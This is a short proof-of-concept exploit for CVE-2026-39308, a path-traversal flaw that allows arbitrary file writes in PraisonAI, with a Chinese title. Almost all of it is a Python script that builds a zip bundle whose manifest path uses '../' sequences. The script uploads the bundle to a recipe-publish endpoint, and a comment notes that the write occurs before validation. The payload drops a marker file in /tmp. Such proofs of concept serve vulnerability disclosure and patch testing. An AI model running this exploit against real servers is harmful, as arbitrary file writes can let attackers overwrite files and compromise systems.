CVE-2026-39308 PraisonAI 路径遍历致任意文件写入漏洞

import requests import zipfile import json import io # Target URL TARGET_URL = "http://localhost:8000/api/recipes/publish" # 1. Create a malicious manifest with path traversal manifest = { "name": "malicious-recipe", "version": "1.0.0", # The vulnerability allows writing outside the root via ../ "file_path": "../../../../../tmp/pwned_by_cve.txt" } # 2. Create a zip file (recipe bundle) in memory zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.writestr('manifest.json', json.dumps(manifest)) zipf.writestr('payload.txt', 'This file was written via path traversal.') zip_buffer.seek(0) # 3. Send the upload request files = {'bundle': ('malicious.zip', zip_buffer, 'application/zip')} # Note: The request might return 400 (Bad Request) due to validation, # but the file write operation happens before this validation. response = requests.post(TARGET_URL, files=files) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if the file was written successfully on the server # (Assuming you have access to check the file system or verify impact) print("Check /tmp/pwned_by_cve.txt on the target server.")